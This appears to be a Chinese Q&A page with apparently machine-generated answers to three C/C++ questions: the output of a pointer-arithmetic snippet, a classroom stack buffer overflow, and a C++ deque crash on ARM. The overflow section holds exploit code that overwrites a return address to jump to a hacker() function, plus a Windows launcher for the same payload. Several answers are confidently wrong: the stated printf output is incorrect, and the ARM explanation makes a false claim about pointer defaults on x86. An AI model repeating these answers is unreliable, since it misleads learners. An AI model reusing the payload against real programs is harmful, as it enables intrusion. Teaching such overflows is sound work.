在x86平台下,分析以下代码的输出结果: #include <stdio.h> int main(void) { int a[4] = {1, 2, 3, 4}; int *ptr1=(int *)(&a+1); int *ptr2=(int *)((int)a+1); printf("%x, %x\n", ptr1[-1], *ptr2); return 0; }
时间: 2023-08-28 07:51:30 浏览: 214
根据你提供的代码,在x86平台下分析输出结果如下:
首先,定义了一个包含4个元素的整型数组a,分别为1、2、3、4。
接下来,定义了两个指针变量ptr1和ptr2。ptr1指向的地址为数组a的末尾地址加1,也就是数组a之后的一个地址。ptr2指向的地址为数组a的第一个元素地址加1,也就是数组a中第一个元素的下一个地址。
然后,使用printf函数打印输出结果。"%x"是用于以十六进制形式输出的格式控制字符串。ptr1[-1]表示ptr1前一个地址的值,*ptr2表示ptr2指向地址的值。
最后,返回0表示程序执行完毕。
经过分析,输出结果为:
3, 200000001
相关问题
下面给出缓冲区溢出漏洞的一个实例,请结合函数调用的栈结构,说明为什么攻击会成功。 test.c #include <stdio.h> #include “string.h” void outputs(char* str){ char buffer[16]; strcpy(buffer, str); printf(“%s \n”, buffer); } void hacker(void){ printf(“being hacked\n”); } int main(int argc, char** argv[]){ outputs(argv[1]); return 0; } 假定hacker函数首地址为0x8048411,则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[]= “0123456789ABCDEFXXXX” “\x11\x84\x04\x08” “\x00”; int main(void){ char *arg[3]; arg[0]=”./test”; arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; } 请写出在Windows平台上验证攻击能否成功的代码。如果不成功,请说明原因?通过查阅资料,你能否编写出Windows平台上的一个缓冲区溢出漏洞利用程序?
由于Windows平台和Linux平台的内存布局和调用方式不同,攻击代码需要进行相应的修改。
首先是攻击代码,修改后的代码如下:
```c
#include <stdio.h>
#include <string.h>
#include <windows.h>
char code[] = "0123456789ABCDEFXXXX"
"\x11\x84\x04\x08"
"\x00";
int main(void){
char cmd[1024];
sprintf(cmd, "test.exe %s", code);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed\n");
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
```
在Windows平台上,使用CreateProcess函数来启动目标程序,并将攻击代码作为命令行参数传递给目标程序。等待目标程序结束后,关闭句柄即可。
现在来看攻击的原理。在outputs函数中,使用strcpy将输入的字符串拷贝到了固定长度为16的buffer中,如果输入的字符串长度大于16,则会发生缓冲区溢出。在x86架构的系统中,栈是从高地址往低地址生长的,因此buffer的地址比函数的返回地址更低,攻击者可以通过缓冲区溢出来修改函数的返回地址,从而控制程序的执行流程,实现攻击。
在攻击代码中,将hacker函数的地址0x8048411直接写入了攻击代码中。攻击代码作为参数传递给目标程序后,会被拷贝到栈上,覆盖掉buffer和旧的返回地址,然后将hacker函数的地址作为新的返回地址,这样程序就会跳转到hacker函数执行,实现攻击。
在Windows平台上,也可以通过类似的方式实现缓冲区溢出漏洞的利用。具体来说,可以使用类似于攻击代码中的方法,在目标进程中分配内存,将攻击代码写入内存,然后通过CreateRemoteThread函数创建一个远程线程,在远程线程中执行攻击代码。在攻击代码中,可以将攻击者想要执行的代码写入缓冲区中,并利用缓冲区溢出漏洞修改程序的返回地址,从而执行恶意代码。
如下代码为何在arm芯片上运行发生crash :#include <iostream> #include <deque> #include <memory> #include <stdio.h> using namespace std; class Buffer { public: Buffer(int size) { m_buffer = new char[size]; printf("malloc %d size space\n", size); } ~Buffer() { if (m_buffer) { delete [] m_buffer; } std::cout<<"buffer xigou"<<std::endl; } Buffer(Buffer&& buffer) { std::cout<<"yidong gouzao"<<std::endl; this->m_buffer = buffer.m_buffer; buffer.m_buffer = nullptr; } private: char* m_buffer; }; class Log { public: Log() { } ~Log() {std::cout<<"xigou"<<std::endl;}; void init() { m_deque.push_back(std::unique_ptr<Buffer>(new Buffer(128))); m_deque.push_back(std::unique_ptr<Buffer>(new Buffer(256))); m_deque.push_back(std::unique_ptr<Buffer>(new Buffer(512))); } void test() { init(); std::cout<<"test ------"<<std::endl; std::unique_ptr<Buffer> tp = nullptr; tp = std::move(m_deque.front()); int i = 1; for (auto it = m_deque.begin() ; it != m_deque.end(); it++) { if (*it == nullptr) { std::cout<<"nullptr "<<i<<std::endl;; } i++; } m_deque.pop_front(); std::cout<<"end -------"<<std::endl; } private: std::deque<std::unique_ptr<Buffer>> m_deque; }; int main() { std::cout << "Hello World!\n"; Log my_log; cout<<"start Log test"<<endl; my_log.test(); cout<<"end Log test"<<endl; }
这段代码在 ARM 芯片上崩溃的原因可能是因为在 ARM 架构中,对于未初始化的指针,其默认值是一个非法地址,而在 x86 架构中,对于未初始化的指针,其默认值为 NULL。在这段代码中,当 m_deque 中的指针被移动(std::move)后,其原来的位置被设置为 nullptr,但是在迭代器遍历时,可能会遇到这些被设置为 nullptr 的指针,导致程序崩溃。
因此,你可以在遍历时加上一个判断,判断当前指针是否为 nullptr,如果是,则跳过该指针的遍历。例如:
```
for (auto it = m_deque.begin(); it != m_deque.end(); it++) {
if (*it == nullptr) {
continue;
}
// ...
}
```
阅读全文